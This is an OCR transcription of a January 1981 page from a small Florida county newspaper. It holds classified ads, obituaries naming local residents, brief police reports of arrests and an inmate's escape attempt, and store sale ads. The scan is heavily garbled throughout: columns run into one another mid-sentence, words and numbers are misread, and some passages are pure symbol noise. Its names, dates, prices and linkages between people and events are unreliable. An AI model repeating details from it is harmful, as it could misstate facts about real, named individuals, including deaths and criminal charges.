W.Sink. MldmlR. l..eSw. 'p' OEADBOLTS-LO CKS- RIKEYEOSUftOLAU '; >Great property across from Holiday Inn-Own.Fin. each. but Bradford I I. We tock maturity ''' i and/or Square Plaza, GainesvillePhone ....._ f ; in u-Mra fi' ; . BURGLRRBRS-I _: : ALARMS Store & Apt on 301-good potential-owner fin. County Telegraph 964-5078. Itchg I/I. \ 3764466. Itchg 1/1 1. train. Write W.D. Dick. .. ., .. '.J -!Iro. 964-6305. tfn MMml.S.CwwvHomes Pres., Southwestern -- .... .... .7000 sq. ft. CI bldg.. en Rd. I6E Owner fin. " HORSE AND GO-KARTl Call \ UNCLAIMED LAYAWAY . 5445521 Coupon expires FSC- 1SS 198t\ Homecommer.) ft Madison St. Owner II... WINDOWS. WAREHOUSE Petroleum, Ft. Worth Tx. cottage on 782-3971. Itpd I/I. \ Singer top model Futura 'i.S" . LADDERS $ gal. cans hORSEs 1.000 lb. Bay i Zig Zag sewing machine. LetssAcegetawtey..Florida 76101. Itchg 1/1. '... _JAI l .t '! 1 $500 me. Income four, furn. rentals-Call A Bay 55,000 I asphalt roof coating.$7.00; gelding 5-years-old. Also \''t Stretch stitches darn. large apt. complex on 301. good cash flow awn. I in. cases of 6 one-gallon cans have saddle Call 964-7065. blind hems, automatic *Happy New Year** for $8. 9646679. Bargain Itchg 1/1. \ bobbin winder etc. Party [fl fl - . 12/11: I tfn. tenUot Allwtlaltf-rfMt i Center. ileft' area. Originally sold BIRCH'S 964-5534 Oerrl .nnoft.A.lOe e-416-3140 I I,4BPROOM MUCK TOPPERS. $ ". INSTALLED TRUCK TOPPERS. $U9. INSTALLED for S499.00.. Pay offt IDIWRSCCVERY' Iran Terwlllegor.964-7776 Martha Dorko, 7823397nneTerv I Ho full vision I Has full vision Valance I due< $137.00 cash I IPM PEST CONTROL SERVICESa.011 .,lllegar Nelson.47S."" Solly Kllllen.46B-22SS door and opening side win. door and opening side window or payments S11.00 perm The. Room of The' Master Klllt ,rs vAO On. Recovery warranty. / dows. One year warranty. year onth. Under warranty. I" Beatley Bargain Beasley Bargains W.hit.Sewing Center 3327 Lake City Local Dlst. 19 For Positive G.rman.Roach |Control ",p % r---------------------- 4734521. tfnchg 12/11 Archie Tanner Funeral co>* Special Senior Citiien Rates ,? YESII! 1 0c'') 4734521. tfnchg 12/11. S.V V. Archer Rood Archer J .' I SoV'are Plaza Gainesville. Home 'nCh" : ' Phone3764466., Itchg 1/1. ,9&J-V747 5t"rk.. Fl. __ 41 I I re"Z? DON'S RQOFINS Day or Night Service I - I MOBILE HOME I e kamnt\!;' EXPERT IIOCKSMITH I 964-6372 I Keystone Area Ads INSURANCEHOMEOWNERS I C e Locks: Re-keyed Loci (S Repaired I I .', POLICIESAT DON HU. SECURITY SYST .rEMS I: Roofing of all types, including I - 473-3649 _ repairs. PERSONAL FOR RENT FOR SALE .-Lake Geneva- REASONABLE RATES 111., I I SERVICES ,I I .. I Free Estimates I BR FURNISHED lake cot TWO ACHES near SR-100 100 ft. x 0436 ft. Loll CARPENTER WORKs tog. $225 p.r month. near Ke>.(rstone Heights.' Restricted for 1850 sq ft. Olin's Mobile Office For Rent Prompt Service 1 KEYSTONE HEIGHTS REALTY $300 dow'ti, $66.84 per minimum building, size in Home SalesFREE \ Remodeling work. kitchen REALTOR month. Phi">ne 473-4058 or Bradford] County. QUOTES January rent'Free ample parkli rig, corner ---------------------. -- cabinets and trimcarpenter. 473-4367 titter ,6 p.m. af Laura St. and 473-4961 Phone 964-5606 Hwy. 100 i Starke. ' Reasonable prices. Call Ed Dempsey at Ifnchg 12/11 tfnchg 11/20 I CLYDE W. Elaine M. Olin' Agent 473-2735.,. VACUUM WsDrilling I 473-2477. 12/4 'ON LAKE GENEVA-2BR .AKB LOTS AN'D\ A<;RIAGI. ....... r tfnchg ALCOHOLIC ANONYMOUS T'/.BA. $150 per month. Keystone Heights' owner SIMPSON " Water and financed 10 p.rcent In- ft USEDWe garbage pick. NEW .__. Closed 8 a CO REALTOR meetings Monday up Included First and last terest. Lots on ,clear, sand f" 2" Thru 6" p.m. Open meetings, Fri. bottomed lake priced to finance our own. I day 8pm. Alanon Monday r 'month, $100 deposit. Joe 156-*'''' 24 hrs, Fill IIMEROCK KI8BYS Fast RotaryCtrlllin sell from $9.90'It-orM to 12/31 473 238J. tfnchg . G'vllle 377-7996 24 hr.. 8 p.m. Alateen/ Monday 7< ' five overloi aklng lake ROYALS Equipment BUILDER'S HOUSE 3BR 2BA acres '", h.Huntley ' p.m. All meetings If 1400 ft., W/W (access avallah ''Ic! ) with' I 'DOZER'WORK EUREKAS . Educational Building Com sq., fully equipped carp.t.CHA. kit. nice trees from\ 3500. HOOVERS _. "IJ.g !i .I?_. munlty Church. tfnchg. chen. Half acre lot lake $500 down, $50 .iv month.Commercial ., I IRedfearn' . 12/4.: Septic Tank! Installations ELECTROLUX J I.F.I! PRESSURE CLEANING PAINTING access. $295 month;, frotitage( _ 376-0392 days. 377-9829 Investment, oppot' lunlty. FILTER QUEENS and wallpapering 1/1/81 SR-3IN.: Owner-solit'Smon, New & Used nights tfnchg Phone 473-2477. tfnchg FOR RENT 473-.373. tfnchg 12/..', RVICES Cmmn BROS. SEARS I 12/4 2BR FURNISHED mobile' AKC DOBIRMAN-'Top CALL: COMMERCIAL: SatesPartsServicemin.i Latft 473-4340 " PLUMIING'REPAIRS..Lorry home'$175 month. quality only. You art' Invited We'repair; all makes.. Teague Plumbing. p.r !-'i JftnB--Tii.!! !' ..... lilt FURNISHED mobile, to visit our. kenf el.. 'or 964-6750 . ' ' CARPENTRY 475-1513. tfnchg AND MASONRY'WORK..ulld 5/21. month.home on lake, $190 p.r WACHEMEISTEft 475-1 220. DOBERM:ANtfnchg :;, li1! 473-4252 ,:, .4, ....Steve Cardin:' Owner AL YOUHG'S. Plumbing! patios, 2BR FURNISHED lake '12/4 Repairs Of Mafor( Since IM7 cot 1 1tag. fireplaces' addition.' .. $250 per.month. FIVE ,ACRES-FOREST "''uk.: I Electric Appliances;. --- -" --- L'LRENTA.CULLIGA1N.- 9 .'918' .New Installation homes 'ond remodeling,1 Eugene K. Reese, Realtor 5900 down:$108' .O3 mont)1) .Serving Bradford I Clay r I tile work. efSt.rkeeeUSSO Free estimates.; Phone 3 miles north Remodeling Repairs 473-7076, 4732520. Mtptd. Counties Phone 473-4473 during day 12/18-1/81' !' --. ? ,, 1/1-1/8 I' ' 2tchg . or 782-3906. oiler 5 ., .. Lawrence Blvd. . p.m. Keystone , .2BR .FURNISHED mobile : I . tfnchg I 12/11 \ I - home, 100x< $$'. central I oil ,. HOUSE=OR'R' :" ,=": WANTEDCASH heat gas. range* fenced BY OWNER j' !? BradfordMiniStorago PUMP i' .@ filID Ss ; I 11 .yard fake privileges. -7 n. 1'batn, bncK wme on 1_ LOSTFOUNDOSTI rr ). :jg For, GOLD ,sl,..rllna. ,.4 3-2022.: Itchg 1/1111.! quiet road rear of golf eouneiwi I .. [: & 'jewelry diamdnds,' 'cn,. n deeded .lake. accetsTsel: '. THill.MONTH-OI.D ; OOW@n ]n : ' Will visit your home : cond bam roughed In. Mouse FIMALa SLACK puppy lr'.Porcdlse ,. I .. F'ct. 7'S' .PIR Ii HWY 100 st Lsura St. suppLY anywhere.. 376-5233.:: AVRlttman. \ MIS9LLANEOUS. has ipaclaous wtm Iclt hen .. "T. $3 MID . Ridge "wit" area Dec. COMPANY appilancei Including kelcleanoven '" Only.. = Water / FREE Phone collect) MNGO-kAMERICAN (ilCION and SIde .by sIde ,\J.; loi' Christmas, Analysts (FO *3MONT.is.) NOW . tfnchg 12/4 HALL.iSR-21! Sat. 7 p.m., refrigerator with ICe-fft IIcef'. r-.nt..p'.o' phoise Call 964-5oft and Pluslnstallstio'n I 1... WE BUY used ,, nc-wax .flooring. m .' say .' 864 N. . furniture'! op- Sunday2-0| p.f* Public In- ,|iittherr. 4.Ir2SU; with Information. QErH'NG.: , pllances and alymlnym ylted. tfrchg |/ iet, room foormi' off, Hving Mtctten-.room W/w, !laundry .2ft'.eU//1 ( "' "lutlJld r" \ lIL ; IJl = f'.l tor3ge Urilts : truck Phone carpet, i ::2 ve. : toppers " .01\ & FEMALE WAtKZRbiciti. IIR..VJaI.IUHn C/H wicncC/A, _. , 473-4331.tfnchg ,0/1' ., 'h- ; I ,) avstlaole One car carport noou6:and&jxssisifff wNte and browy." ., ..__ ttr'IJ.r: ) ', ;$?:lIla. ;1IIi no & tip, terke tla : ' '"' .. t'O6841 . ant :J): ; ,Qet .. u=, '. .. I Therej', .,tchfJ,.: 'I1. {[. Hrj Hr\1)I\ ) tVJ sdit..tf.b.. t.rr:; :! !tlt'U) t.J,. 1 =:'. '473-2735_ : V 4iatt : p. : ,, I'I'e I .' !" f.[ ,." 'LaatJtl1'n "............:...,--...________,.14 I \. "''''11''' , ' ....." i Kit<-'i...1".tt Ij : I .cJ...;.,JJ.1:Jj :1ln! J lbA bJi! .l.2r.1: \- .--._. _._ ___, ,. __.___.. .._._._ ... N..... .-.._ ... -' .. ..-... .-. -- .. .4I - , .'..' ' :: --::;.. '::": " I '- ,. . y 4 \ ._:____ I'" 2k---! -',.. .- __.". ______" ...A.-.- --- -- m ." -- .. -.. p J.. .. .- .' ". r .T.: ) :- __ ,,,. _- _:-J_ L .- .d, ,r.. .. ::"fI'l cto" :-_ _1.. .. -...-.._... '. -' -:",..:,::::: :::.'",' ": , , : .r..f.-:1P"7"I'.7'-l Page 6B January 1,1081 . I .. .._..... : . .... ,r 'j "" .. ."..." "" "' "'" -- :ii'\! \,}.IJI\nt.l\i: : ; \ 1 \I: t H ( "News. .1" \ ';1. 1 1)0 :;. : : : I .IP' Briejsg .litia' I ; ' I -- Obituaries ; .- : : I >' : ? ., I '.. Ii f It . \ > ; "J< , . ". ,1". : ... ". . .J 1 ." ..-.,.,, ,., .... ,,.,,,.... .. ...'". '.rra ttlr . t tt' 'i: c Improper Backin :;. Escape ThwartedDec. Shoplifting Charged .'";;: shoplifting a, 'three' :.cn/uice j tube of Mrs.LlUr Mae GriffisMrs. Union carrier for 20 years. Mr. Charged InLBMishapl: ; ; 23 at RMCAn Tq Tennessee Man toothpaste from the gn>eery store,acCording - Rucker owned and Rucker'sBar ( 't I>> operated Lillie Mae Griffis, 68, residentof ?II, to the Starke /police Depart. Starke,died Friday at the Bradford since 1957. He was a member oif A'Lake Butler woman'was charged: inmate at the Reception and A'' Bluff City, Tennessee man wasp; ment. . County Hospital following a brief il- the Methodist Church. i with Improper backing! and operating Medical Center near Lake Butler was arrested on a shoplifting charge at the, Hartley was releas-d 'on a $160.50 lness. Survivors include: one son SeabifeRucker. 4 motor vehicle without' valid stopped in his attempt to escape by an Handy Way Grocery Store, SR-100 at' recognizance bond ,,..fter being arraigned - Born in Union County, Mrs. Griffis Lake Butler; one brother, drivers license alte..lter car backed alert correctional officer Tuesday, Waters Street in Starke at 3:1O: p.m. before f County had lived< in Macclenny before moving W.H. Rucker. Gastonla, N.C.; two up into a parked car on 'SW 8th Dec, 23, at 3 p.m., according to Saturday, Dec. 27. ; Judge Elzie S.i;S. Bradford K: ' to Starke about one ago. She sisters Mrs. Grace Hobnett and Mrs. Avenue, 120 feet west of SW 6th Streetin Superintendent J.B. Godwin. Patrolman E.W. Wilkerson ar ,( .. / ', \ year was a member of the Congregational JoAnn Webb both of Gastonia; and 3 Lake Butler at f'p.m. Thursday Inmate Charles ,,Lacquary 24, rested Randy Calvin Hartley, 24.. of /r , Methodist Church of Macclenny.: grandchildren.< Dec. 25.Edna. climbed the first of two perimeter Bluff City, Tennessee on a charge of / Survivors include: one daughter,' Funeral services were held Sunday!, Mae Brown, 48 of Lake fences. The tower'officer' shouted a .' '.1 Mrs. Lizzie Griffis Statute; five sons, Dec 28, at 2p.m. in the chapel of Ar- Butler was not injured and there was warning and then fired a warning shotin .J Lewis Griffis, Starke, Clyde and cher Funeral Home of Lake Butler, no damage to the 1972 Plymouth'sedan an attempt to halt Lacquary,according , with Rev. Melvin Owen officiating. she was driving. to Godwin; Owen Griffis, both of Macclenny, .J.W. Griffis Raiford.and Randy Grif Burial followed In Dekle Cemetery Damage was estimated at $140 to When the inmate did not stop, the ; fis, Lake Butler her mother Mrs. under the direction of Archer Funeral the 1978 Oldsmobile sedan owned by officer fired two rifle shots( at Lac Lizzie Thornton; ,. Raiford; two Home. The family asks that in lieu of Jeffrey K. Andrews of Lake Butler, quary, striking him In the groin and brothers Elmer and Elsey Thornton( flowers donations may be made to that was legally parked.The right leg. The inmate's condition was NOTICE f both of Raiford; one sister Alma the Lattice Marie Rucker Davis Plymouth, starting from a stabilized at the RMC hospital beforehe Ratliff, Macclenny 21 grandchildrenand Scholarship Fund at the Farmers and parked position, backed onto SW 8th was transported to Alachua . 19 great grandchildren.; Dealers Bank, Lake Butler. Avenue from a private driveway and General in Gainesville according to I . backed into the right front of the Godwin. I Funeral services were conducted at ' 2 p.m. Monday, December 22,at Pine Kenneth L. Jennings Oldsmobile sedan that was parked ata Lacquary was sentenced in Pinellas The TG&Y December J26 Cir- curb across the street, according to last Grove Congregational Methodist County August to 30 months for Church with L.E. Harvey officiating. Kenneth L. Jennings, age 73, who the Florida Highway Patrol. resisting arrest with violence. cular, shows an incorrect sale lived at Hillcrest, died in the Alachua Trooper W.M. Abrams cited Brownfor Burial Archie was in Tanner Pine Funeral Grove Cemeterywith Home of Generallospitalln Gainesville early improper backing and operating a Man ArrestedFor price on the Clorox,, 2@ AH Friday following a lingering illness. motor vehicle without a valid drivers Starke in charge: of arrangements. Born in Elmira. N.Y. Oct. 18, 1907. license. FightingA Fabric Bleach of 2 b sixes for Mr. Jennings moved to Hillcrest 14 Starke man was arrested for battery ; Walter Taylor years ago from Cayuta, N.Y., after Man, 23, Arrested of another man after an incidentat 99$: The sale price should, read Walter E. Taylor. 56, of Jackson. Florida spending for the several winter years.months He was in a After Thoni TheftA 905 Thomas Dec.Street 28.in Starke at 3:10: 990: each; box. We regret: any Sunday, p.m. , ville, died December 25, at the retired Millwright by trade. Starke man was arrested for Raymond P. Tyson was arrested by University Hospital In Jacksonville Survived by his wife, Gladys C.Jen- grand theft that involved a burglaryat Patrolman W.K. Mclntireona chargeof inconvenience this f!;l-rror may following a brief Illness. nings; 3 sons, Wayne Jennings of the Thoni Oil Service Station on battery of Wayne Tyson by striking Born in Bradford County, Mr. Alpine, N.Y., Fred Washburn of caus / US-301 three miles north of Starke at him with his fist, according to the the of the late Walter Taylor was son Wyalusing Penn., &: Douglas 11 a.m. Thursday, Dec. 25. Starke Police Department.Bond / E. and Vernie Lowe Taylor, pioneersof Washburn of Elmira. N.Y. 8 grandchildren . ; Jerry Wayne Butler. 23, of Starke was set in the case at $265.50 Bradford( County. Mr. Taylor was and 7 great grandchildren. was arrested by Deputy Sheriff John and Raymond Tyson was still in jailas the Towers Hardware employed by Funeral services were held Mon- F. Dempsey on a charge of grand this went to paper press. h hN Company of Jacksonville and was a day, Dec. 29, in Odessa, N.Y. with heft of pilfering an undetermined ITIG! QYI member of the First Baptist Churchin burial in Laurel Hill Jacksonville Cemetery. amount of money .from the clerk, DeWitt C.Jones Funeral Home was in Jerry Johns. Survivors include: his wife Mrs. charge of cal arrangements. Butler is being held in the Bradford . Sidney Taylor, Jacksonville; two County Jail in Starke. " daughters, Mrs. Janis Lee Varnes Starke and Miss Deborah Ann Taylor Ernest V. Widegren _____!o. __ __ ____ IIVALUAllLl--' !: Jacksonville; five sons, Phillip Allen Ernest Victor Widegren 65. of I tPNIOTO a.. Taylor and William Albert Taylor Melrose, died Monday December 22, EA G ,: COUPON .. both Charles of Jacksonville Lee Taylor Walter, both Taylorand of at Gainesville.North Florida Regional Hospital, Open'sDa'i I I. EiJIEAGlE't : '. Gainesville, and Richard Taylor. Born in Nassau County, N.Y., Mr. eaTft I (DEVELOPING A I Raiford; one sister. Mrs. Mandy Grif- Widegren came here from Newark .-ae'" 6 II PRINTING SPECIAL! fis, Starke; one brother,Alfred Lowe, Del., seven years ago and was a "" 2. to r I t2 mXfi'l. I 20ExpMBxp.. MKicp. Jacksonville and four I n grand- . ; retired supervisor with DuPont. H children. was a member of the Pryor. Okla. .2/93.393.995.99 ! Graveside services were held at 2 Lodge F&AM and attended the Com bcc udaaForalgfl-C22-A8A40anmi. Q p.m Saturday Dec 27, at Crosby munity Church at Keystone Heights. : .ear"'sa I e !/ Coupon Muat Aooompany Orctar. Lake Cemetery with Rev. Roman Survivors include: his wife'', ..ew ; I Alvarez officiating, with Archie Tanner Margaret Frances 'Widegren , l"Ul1<'ralllome of Starke in chargeof Melrose; one daughter, Susan Lutr 490/.11 = I & Save to arrangements cavage Long Beach Miss.; two sons on sale Thursday Friday Saturday up Gerald Burton Widegren, San Frari- _ cisco and Donald Earl Widegren Clocks calculators! Radios , Mrs. Ine Vcrna McCann _ Gainesville; one brother, Walter )IVt. Mrs. Inez V. McCann 72 of Wor- Widegren, Ivoryton Conn. ; one r Ir and morel! Save up to $3.00 tOrfM/ thington died Friday after an extended sister, Mrs. Charles King of Pueblo MEV'I' "y Cartons/// ; illness. Colo. and grandchild. ; one & toot.II7 Kings Born in Oklahoma Mrs. McCann Funeral services were held Friday ea moved to Florida in 1924 and had liv- December :26, at the CommunityChurch r [ 65 fJKus tax : ed in Worthington for the past 11 Keystone Heights, Fla. wilih! hU Pt years. She was retired from the Host Rev. Buddy Friedlin conducting tile acb Food Service, catering to Airlines services. Johnson-Hayes Funeral and was a member of the Sardis Bap- Home Gainesville, were in charge of .YGOri caoo"rrrrs4 tist Church. arrangements.In . Survivors include: her husband. lieu of flowers those who desire Olin; one brother Owen Chunn may make contributions to the <, Tuscaloosa, Ala.; one sister, Eula American Cancer Society. Mik j Lambert, Harlselle, Ala.; and several cn' Tpv 4L nieces and nephews. Funeral services were held Sundayat Two Local Residents INQRAHAM ELECTRIC ALARM 4 pm. in the chapel of Archer Elected to 3 Year CLOCK, WA3.Z. .......................4.97 Ay Funeral Home( of Lake Butler with Rev. Victor Nickerson officiating. Terms at FMXTwo CARD 8-DIGIT SIZE<: WAST.i346 CREDIT...,.O.88 Burial followed in Elzey Chapel members of the Gold I-Cist SPORTSMAN'S WATCH LUMINOUS Cemetery under the direction of Archer Starke Florida. Farmers Mutual'Ex. L Funeral Home of Lake Butler. change Patron Council formerly DIAL WAS JUtt..14.88MULTIBAND :: board of directors) were elected to a RADIO, AM/FM/pollce, MEN'S WARM.UP SUITS 114i. I 100% MEN'S ft BOYS'WOOL BLIND CPO I three-year term on the Council, according WAS.24eC.19.88 CRESLAM ACRYLIC;; JACKETS IN HANDSOME PLAIDS1.O7 weather aircraft Seaborn P. Rucker jfohn JUMBO ROLL to announcement an by Seaborn P. Rucker, 75, of Lake Smith, general manager, at the DELTA 135 ona-ply TOWELS snaola.WERE 49* EMERSON CLOCK-RADIO...., Butler died Thursday. Dec: 25, in the FMX's annual meeting held rece ntly. Me lighted digitals WAS_ t 3.'.....27.88 QN gEI.Ieg North Florida Regional Hospital in These members are: Jimmy Gasl kins, SYLVANIA FLASH BAA 4 mm' ; .' : Gainesville after an extended) illness. Starke and Fred Pendarvis, Law.tey. 44 OPT TRASH BAGS 10 flashes WASJLZrT.....,............ I.I I ; wERejawr ' oio ... .. . Born in Royston Ga., Mr. Rucker In addition the we. 211,wytla 1 77 Full tip front slash pock and .IIC pull-on Wool fabric bland. 2 ch l'pocket. "w/bunonad" following patrons: WEREJ.H" SYLVANIA BLUE DOT FLIP 4 --m "waist" Some sHght IrraguUrt.alt rm S.M.L.Xt (tap.nyton Unsd coMsr,cuffs.8-XL I t-K. moved to Lake Butler in 1928 to lay will also serve on the Council: :Don FLASH. 8 flMhM: WASfcrr...._ l.ff sewer and water piping throughoutthe Morgan, Keystone Heights; Wilbur ' city. He was a rural mail carrier Stephens Lawtey; and E.C. Ha prey, Auto, home, garden! Save up to $1.00 (;l id slwnt r, rd . during WWII and a Florida Times Lawtey. rh.I I Q rr __ Wight Irr'ii ,_ . eta AtGL it Hamburger Baby Pork Ribs NM . " steaks 5 Lbs. 16-5 oz. $595 $595 First CUte QT. 1OW40 OIL CLEANING BUYS 21-PC.SOCKETSIT H"a M FT. HOSE V-NECK VELOUPC PRINT SHIRTS CORDURqVJIANS''FLANNEL SHIRTS : Pork 5 Lbs.Chops 87 gr Furniture&taut Polish,.1.57 or 8.88 8.88 4.93 3.96 '6.88 3.88, SLDS ) WAIW Foaming rug WA&MvAafcw WAS..a.eaWERUM'- WAU-N' WAS>" : Chicken Thighs, $340 Extsnda. angina Ufa. In- shampoo, .a mmmm Chrorna-plala slaal Rubber ft vinyl ralncraaaasgaamUaaga. FuhIon eoIld.. .Ibtud SefMn-prmt polyester, ,PolySeotton plnw.l 100% cotton In bright : SI OS $549 19 oz........... ./ Standard/malrlc. forced Will not burst. cuff., .wad. lrc.d..'3-xi. long ,SIMM, ,nwn'8-KL corduroy. 11-11. pl.ld.Bo/'I to 1.. : Chicken wings, $320 ' ,; 70 idi.ay rue case FOLDING BED, f' Fryers.. 5369. ALUMINUM CANNON. : . 21.88 .. .. . =_ WA1.W-W j rl '.4 IDs.: :T-Bones. 4.Delmonlcos bS.. . or _._ ,. FAMOUS MAKER ;: 0 A ;K 4 las.: Rib -. STRINQKNITSWEATERS - '.4lbs.T-eones: r - :Eye Steak . Delmonlcoj '.SID*.Hamburg r / 'l tt ' 1! i albs: Rib ;Steaks r 6.88 Eye steak '.5 ids.Hot Dogs r ASST.HANGERS FOR FISHING BUYS WERE*18' : NEAT CLOSETS CAMPING AND VINYL RUNNER 73 I M"BLANKETS 5 IDs. Hambur ' Smoked Sausag . .. ''Steaks '..5 IDS.whole LOl 98OIS= OUR NT YOUR mj O**** !fMM=T. 4.94 Llghtwalghl w..wInV',..iack airy :: .5 IDs. CHlx le Pork Chops OICB CHOice aCi i. v, 0Rj/Sal' or plunging' ..._ : .Breast ,.6 Ibs.Extra Lea Cnroma 11-1..v btousa ..... 8-bar alack' r..k.sal Choosa nykn dulltamtuily bfl. 24 17" mint- A3.9 ydPT, WERUM" collar alaavaa.IV..In....slias3.M. Long. .: 2. :_ of S.kkt'n pnta'add-on'grlppara or_-1._ rucksack dining lacxla box Win tray or 9 pc. H.avy' gsuga, non-slip Foly/servlw la with nylon . 5 Jds. WholeporkChops' 'Ground Beef door hoMar for M Hangars. aluminum. mssa HUM' '"sturdy...._. back clear gold and binding, SoMs.Cannon.' L. . . >.5,IBS:HOC( DO <.10;Breast IbS. >ueg?I or 25% off Paints! Big savings to 49% Shoe bargains! Save .up to $2.00 ! 'smoked Sauipkg.vege '*3 IDs.Bacon I IS r '. IDs. French Frits7pkg.vegetabi I ,. VtCKS . : _:_; a MIXTURE 3 OL,WAa3.ap--.1.2e $35 PEPTOBI8MOLtot. I ._ 1.19 $ 5so \ .. 5 3 . \ NOX2EMA SKIN CREAM ,.- 'n.4 1o O..WA .N: wr .1.59 I i j ND DEVIL HIGH BAN RIO BALL ROLL' OMAnHJPsrspkant OLOSS ENAMEL :I.I.<..WASJJ 1.99 ! U&.ae.1fD ;Food wA __ .1 47 ADORN HAIR 8PAY.ot.Rag. 57' MIN\ ."WORK SHOfS: MEWS SOFT CASUALS TERRY' SUPPERS! :: w extra Hold YrfA*JMf. ' I '1035:SE.thtaltd"N.W.: : : th"'J\ve" 8 N.W.1st t. WAQ.F2.77 .. mss' .a OIL Of OLAV. BEAUTY W15..4 1. 6.88 "ff1f* 2.44 : , : 37.800 :Gainesville\ 377-7000 ,wAa"Yp.r3.7y. .LOTION..'. .3.77 G.nrdn. Split ay.da; upper., ,YkiyiJwm. rma" INmtlMna. ., .: IrnlU I4.r.d vamp; 'tarry ; (Umllllw t at ! , .. also. .o tkNUr/l. n.sa 7-13< Cnolea ot atyt..7.1a. wadga.Nisi. W_'.3.M.L. - I HOURS:! am -$:30,pm',Mo/ .;Thur.6rLgarn' .- ; .6.'pm STARKE.312W.Madlior.St.. ,* KEYSTONE Hgts.' IN q I : _ Hwy. 21 a 100 - -4 . r 1IS ni. ? 1 .. ../ , ' I ,. : .A ... - _. _::..:_.__ .. YY'c "' ... - Contact Us | Permissions | Preferences | Technical Aspects | Statistics | Internal | Privacy Policy © 2004 - 2011 University of Florida George A. Smathers Libraries.All rights reserved. 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